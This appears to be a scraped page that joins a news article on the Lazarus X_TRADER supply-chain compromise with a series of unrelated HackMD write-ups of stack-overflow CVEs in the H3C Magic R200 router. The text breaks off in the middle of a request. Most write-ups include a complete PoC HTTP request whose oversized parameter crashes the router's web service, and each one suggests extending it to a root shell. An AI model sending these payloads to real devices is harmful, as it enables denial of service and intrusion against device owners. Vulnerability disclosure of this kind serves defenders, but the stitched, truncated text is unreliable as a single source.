Lazarus, the prolific North Korean hacking group behind the cascading supply chain attack targeting 3CX, also breached two critical infrastructure organizations in the power and energy sector and two other businesses involved in financial trading using the trojanized X_TRADER application.
The new findings, which come courtesy of Symantec's Threat Hunter Team, confirm earlier suspicions that the

Supply Chain / Cyber Threat

Lazarus, the prolific North Korean hacking group behind the cascading supply chain attack targeting 3CX, also breached two critical infrastructure organizations in the power and energy sector and two other businesses involved in financial trading using the trojanized X\_TRADER application.

The new findings, which come courtesy of Symantec's Threat Hunter Team, confirm earlier suspicions that the X\_TRADER application compromise affected more organizations than 3CX. The names of the organizations were not revealed.

Eric Chien, director of security response at Broadcom-owned Symantec, told The Hacker News in a statement that the attacks took place between September 2022 and November 2022.

"The impact from these infections is unknown at this time – more investigation is required and is on-going," Chien said, adding it's possible that there's "likely more to this story and possibly even other packages that are trojanized."

The development comes as Mandiant disclosed that the compromise of the 3CX desktop application software last month was facilitated by another software supply chain breach targeting X\_TRADER in 2022, which an employee downloaded to their personal computer.

It's currently unclear how UNC4736, a North Korean nexus actor, tampered with X\_TRADER, a piece of trading software developed by a company named Trading Technologies. While the service was discontinued in April 2020, it was still available for download on the company's website as recently as last year.

Mandiant's investigation has revealed that the backdoor (dubbed VEILEDSIGNAL) injected into the corrupted X\_TRADER app allowed the adversary to gain access to the employee's computer and siphon their credentials, which were then used it to breach 3CX's network, move laterally, and compromise the Windows and macOS build environments to insert malicious code.

The sprawling interlinked attack appears to have substantial overlap with previous North Korea-aligned groups and campaigns that have historically targeted cryptocurrency companies and conducted financially motivated attacks.

The Google Cloud subsidiary has assessed with "moderate confidence" that the activity is linked to AppleJeus, a persistent campaign targeting crypto companies for financial theft. Cybersecurity firm CrowdStrike previously attributed the attack to a Lazarus cluster it calls Labyrinth Chollima.

The same adversarial collective was previously linked by Google's Threat Analysis Group (TAG) to the compromise of Trading Technologies' website in February 2022 to serve an exploit kit that leveraged a then zero-day flaw in the Chrome web browser.

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ESET, in an analysis of a disparate Lazarus Group campaign, disclosed a new piece of Linux-based malware called SimplexTea that shares the same network infrastructure identified as used by UNC4736, further expanding on existing evidence that the 3CX hack was orchestrated by North Korean threat actors.

"\[Mandiant's\] finding about a second supply-chain attack responsible for the compromise of 3CX is a revelation that Lazarus could be shifting more and more to this technique to get initial access in their targets' network," ESET malware researcher Marc-Etienne M.Léveillé told The Hacker News.

The compromise of the X\_TRADER application further alludes to the attackers' financial motivations. Lazarus (also known as HIDDEN COBRA) is an umbrella term for a composite of several subgroups based in North Korea that engage in both espionage and cybercriminal activities on behalf of the Hermit Kingdom and evade international sanctions.

Symantec's breakdown of the infection chain corroborates the deployment of the VEILEDSIGNAL modular backdoor, which also incorporates a process-injection module that can be injected into Chrome, Firefox, or Edge web browsers. The module, for its part, contains a dynamic-link library (DLL) that connects to the Trading Technologies' website for command-and-control (C2).

"The discovery that 3CX was breached by another, earlier supply chain attack made it highly likely that further organizations would be impacted by this campaign, which now transpires to be far more wide-ranging than originally believed," Symantec concluded.

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Lazarus X_TRADER Hack Impacts Critical Infrastructure Beyond 3CX Breach

H3C Magic R200 version R200V100R004 was discovered to contain a stack overflow via the Edit_BasicSSID interface at /goform/aspForm.

\# H3C Magic R200 was discovered stack overflow via the Edit\_BasicSSID interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R200\` vendor:H3C product:Magic R200 version:R200V100R004 type:Stack Overflow author:Wolin Zhuang, Yifeng Li; ## Vulnerability Description H3C Magic R200 version R200V100R004 was discovered to contain a stack overflow via the Edit\_BasicSSID interface at /goform/aspForm. ## Vulnerability Details In function Edit\_BasicSSID, string Var is passed in by parameter 'param' without filtered and checking its length. Local varible v45 is 64 bytes long. in line 57, the content of Var is formatted into v45 without size check by sscanf function in the form of \`%\[^;\]\`, which leads to a stack overflow vulnerbility. !\[\](https://i.imgur.com/2LBQDtp.png) !\[\](https://i.imgur.com/o2fBFuD.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R200 to newest version(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/Gh5mBRc.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 536 CMD=Edit\_BasicSSID&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to denial of service. !\[\](https://i.imgur.com/ZGgxQ90.png) We can see process webs is crashed and restarted. !\[\](https://i.imgur.com/Ap2kSe4.png) And you can write your own exp to get the root shell.

CVE-2023-29906: H3C Magic R200 was discovered stack overflow via the Edit_BasicSSID interface at /goform/aspForm - HackMD

H3C Magic R200 version R200V100R004 was discovered to contain a stack overflow via the UpdateSnat interface at /goform/aspForm.

\# H3C Magic R200 was discovered stack overflow via the UpdateSnat interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R200\` vendor:H3C product:Magic R200 version:R200V100R004 type:Stack Overflow author:Wolin Zhuang, Yifeng Li; ## Vulnerability Description H3C Magic R200 version R200V100R004 was discovered to contain a stack overflow via the UpdateSnat interface at /goform/aspForm. ## Vulnerability Details In function UpdateSnat, string Var is passed in by parameter 'param' without filtered and checking its length. Local varible v14 is 64 bytes long. When the length of Var is less than 512 and larger than 64, in line 24, the content of Var is formatted into v14 by sscanf function in the form of \`%s\`, which leads to a stack overflow vulnerbility. !\[\](https://i.imgur.com/QVP8iPa.png) !\[\](https://i.imgur.com/jokv0qU.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R200 to newest version(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/Gh5mBRc.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PSWMOBILEFLAG=true; USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 534 CMD=UpdateSnat&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to denial of service. !\[\](https://i.imgur.com/D5hCz0Z.png) And you can write your own exp to get the root shell.

CVE-2023-29905: H3C Magic R200 was discovered stack overflow via the UpdateSnat interface at /goform/aspForm - HackMD

H3C Magic R200 version R200V100R004 was discovered to contain a stack overflow via the UpdateWanParams interface at /goform/aspForm.

\# H3C Magic R200 was discovered stack overflow via the UpdateWanParams interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R200\` vendor:H3C product:Magic R200 version:R200V100R004 type:Stack Overflow author:Wolin Zhuang, Yifeng Li; ## Vulnerability Description H3C Magic R200 version R200V100R004 was discovered to contain a stack overflow via the UpdateWanParams interface at /goform/aspForm. ## Vulnerability Details In function UpdateWanParams, string Var is passed in by parameter 'param' . Local varible v58 is 64 bytes long. When the length of Var is less than 512 and larger than 64, in line 15, the content of Var is formatted into v58 by sscanf function in the form of \`%s\`, which leads to a stack overflow vulnerbility. !\[\](https://i.imgur.com/o1iiwTk.png) !\[\](https://i.imgur.com/pKwqQ5k.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R200 to newest version(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/Gh5mBRc.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Content-Length: 525 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: \*/\* Origin: http://192.168.124.1 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PSWMOBILEFLAG=true; USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG=; cur\_page=maintain\_logs.asp?refreshFlag=Tue%20Mar%2014%202023%2016:05:37%20GMT+0800%20(%D0%C2%BC%D3%C6%C2%B1%EA%D7%BC%CA%B1%BC%E4) Connection: close CMD=UpdateWanParams&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to denial of service. !\[\](https://i.imgur.com/DUajjuN.png) We can see process webs is crashed and restarted. !\[\](https://i.imgur.com/IRMiNbV.png) And you can write your own exp to get the root shell.

CVE-2023-29916: H3C Magic R200 was discovered stack overflow via the UpdateWanParams interface at /goform/aspForm - HackMD

H3C Magic R200 version R200V100R004 was discovered to contain a stack overflow via go parameter at /goform/aspForm.

\# H3C Magic R200 was discovered stack overflow via go parameter at /goform/aspForm ###### tags: \`H3C\` \`Magic R200\` vendor:H3C product:Magic R200 version:R200V100R004 type:Stack Overflow author:Wolin Zhuang, Yifeng Li; ## Vulnerability Description H3C Magic R200 version R200V100R004 was discovered to contain a stack overflow via go parameter at /goform/aspForm. ## Vulnerability Details The content obtained by the program through the go parameter is passed to v3, and then v3 is copied into \`&goHtmlUrl\`, the size of v3 is not checked, and there is a buffer overflow vulnerability. !\[\](https://i.imgur.com/cRikZfD.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R200 to newest version(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/Gh5mBRc.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 516 go=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to denial of service. !\[\](https://i.imgur.com/AaWIiXG.png) And you can write your own exp to get the root shell.

CVE-2023-29917: H3C Magic R200 was discovered stack overflow via go parameter at /goform/aspForm - HackMD

H3C Magic R200 version R200V100R004 was discovered to contain a stack overflow via the UpdateMacClone interface at /goform/aspForm.

\# H3C Magic R200 was discovered stack overflow via the UpdateMacClone interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R200\` vendor:H3C product:Magic R200 version:R200V100R004 type:Stack Overflow author:Wolin Zhuang, Yifeng Li; ## Vulnerability Description H3C Magic R200 version R200V100R004 was discovered to contain a stack overflow via the UpdateMacClone interface at /goform/aspForm. ## Vulnerability Details In function UpdateMacClone, string Var is passed in by parameter 'param' without filtered and checking its length. Local varible v15 is 64 bytes long. When the length of Var is less than 512 and larger than 64, in line 25, the content of Var is formatted into v15 by sscanf function in the form of \`%s\`, which leads to a stack overflow vulnerbility. !\[\](https://i.imgur.com/xgbkTHn.png) !\[\](https://i.imgur.com/JE4Nozu.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R200 to newest version(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/Gh5mBRc.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Content-Length: 524 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: \*/\* Origin: http://192.168.124.1 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PSWMOBILEFLAG=true; USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG=; cur\_page=maintain\_logs.asp?refreshFlag=Tue%20Mar%2014%202023%2016:05:37%20GMT+0800%20(%D0%C2%BC%D3%C6%C2%B1%EA%D7%BC%CA%B1%BC%E4) Connection: close CMD=UpdateMacClone&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to denial of service. !\[\](https://i.imgur.com/mbrGAKz.png) And you can write your own exp to get the root shell.

CVE-2023-29910: H3C Magic R200 was discovered stack overflow via the UpdateMacClone interface at /goform/aspForm - HackMD

H3C Magic R200 R200V100R004 was discovered to contain a stack overflow via the DelvsList interface at /goform/aspForm.

\# H3C Magic R200 was discovered stack overflow via the DelvsList interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R200\` vendor:H3C product:Magic R200 version:R200V100R004 type:Stack Overflow author:Wolin Zhuang, Yifeng Li; ## Vulnerability Description H3C Magic R200 R200V100R004 was discovered to contain a stack overflow via the DelvsList interface at /goform/aspForm. ## Vulnerability Details In function DelvsList,the size of local variable v6 is noly 16 bytes long.Parameters in the DelvsList interface use the getElement function to split strings(Var) and get items. !\[\](https://i.imgur.com/o43EsQb.png) !\[\](https://i.imgur.com/vv700yC.png) In line 28, the maximum size in the getElement function is limited to 64. When the length of input less than 64, the string will be copied into a1 by memcpy function. The size of the original array has been completely exceeded, resulting in a buffer overflow vulnerability. !\[\](https://i.imgur.com/5jTOUfB.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R200 to newest version(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/Gh5mBRc.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Content-Length: 321 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.124.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/dhcpd.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PSWMOBILEFLAG=true; USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close CMD=DelvsList&GO=dhcpd.asp&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to denial of service. !\[\](https://i.imgur.com/wZ8HSuT.png) And you can write your own exp to get the root shell.

CVE-2023-29912: H3C Magic R200 was discovered stack overflow via the DelvsList interface at /goform/aspForm - HackMD

H3C Magic R200 version R200V100R004 was discovered to contain a stack overflow via the DeltriggerList interface at /goform/aspForm.

\# H3C Magic R200 was discovered stack overflow via the DeltriggerList interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R200\` vendor:H3C product:Magic R200 version:R200V100R004 type:Stack Overflow author:Wolin Zhuang, Yifeng Li; ## Vulnerability Description H3C Magic R200 version R200V100R004 was discovered to contain a stack overflow via the DeltriggerList interface at /goform/aspForm. ## Vulnerability Details In function DeltriggerList,the size of local variable v7 is noly 16 bytes long.Parameters in the DeltriggerList interface use the getElement function to split strings(Var) and get items. !\[\](https://i.imgur.com/IJshUFq.png) !\[\](https://i.imgur.com/EJxYVPo.png) In line 28, the maximum size in the getElement function is limited to 64. When the length of input less than 64, the string will be copied into a1 by memcpy function. The size of the original array has been completely exceeded, resulting in a buffer overflow vulnerability. !\[\](https://i.imgur.com/5jTOUfB.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R200 to newest version(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/Gh5mBRc.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PSWMOBILEFLAG=true; USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 282 CMD=DeltriggerList&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to denial of service. !\[\](https://i.imgur.com/71a3vWX.png) And you can write your own exp to get the root shell.

CVE-2023-29914: H3C Magic R200 was discovered stack overflow via the DeltriggerList interface at /goform/aspForm - HackMD

H3C Magic R200 version R200V100R004 was discovered to contain a stack overflow via the Edit_BasicSSID_5G interface at /goform/aspForm.

\# H3C Magic R200 was discovered stack overflow via the Edit\_BasicSSID\_5G interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R200\` vendor:H3C product:Magic R200 version:R200V100R004 type:Stack Overflow author:Wolin Zhuang, Yifeng Li; ## Vulnerability Description H3C Magic R200 version R200V100R004 was discovered to contain a stack overflow via the Edit\_BasicSSID\_5G interface at /goform/aspForm. ## Vulnerability Details In function Edit\_BasicSSID\_5G, string Var is passed in by parameter 'param' without filtered and checking its length. Local varible v44 is 64 bytes long. in line 53, the content of Var is formatted into v44 without size check by sscanf function in the form of \`%\[^;\]\`, which leads to a stack overflow vulnerbility. !\[\](https://i.imgur.com/m4O5A1I.png) !\[\](https://i.imgur.com/wCkUR3J.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R200 to newest version(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/Gh5mBRc.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 541 CMD=Edit\_BasicSSID\_5G&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to denial of service. !\[\](https://i.imgur.com/P2cIzcj.png) We can see process webs is crashed and restarted. !\[\](https://i.imgur.com/Ap2kSe4.png) And you can write your own exp to get the root shell.

CVE-2023-29907: H3C Magic R200 was discovered stack overflow via the Edit_BasicSSID_5G interface at /goform/aspForm - HackMD

H3C Magic R200 version R200V100R004 was discovered to contain a stack overflow via the SetAPWifiorLedInfoById interface at /goform/aspForm.

\# H3C Magic R200 was discovered stack overflow via the SetAPWifiorLedInfoById interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R200\` vendor:H3C product:Magic R200 version:R200V100R004 type:Stack Overflow author:Wolin Zhuang, Yifeng Li; ## Vulnerability Description H3C Magic R200 version R200V100R004 was discovered to contain a stack overflow via the SetAPWifiorLedInfoById interface at /goform/aspForm. ## Vulnerability Details In function SetAPWifiorLedInfoById, string Var is passed in by parameter 'param' without filtered and checking its length. Local varible v17 is 72 bytes long. in line 26, the content of Var is formatted into v17 without size check by sscanf function in the form of \`%\[^;\]\`, which leads to a stack overflow vulnerbility. !\[\](https://i.imgur.com/NnWzUNq.png) !\[\](https://i.imgur.com/ht7j6Gs.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R200 to newest version(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/Gh5mBRc.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 544 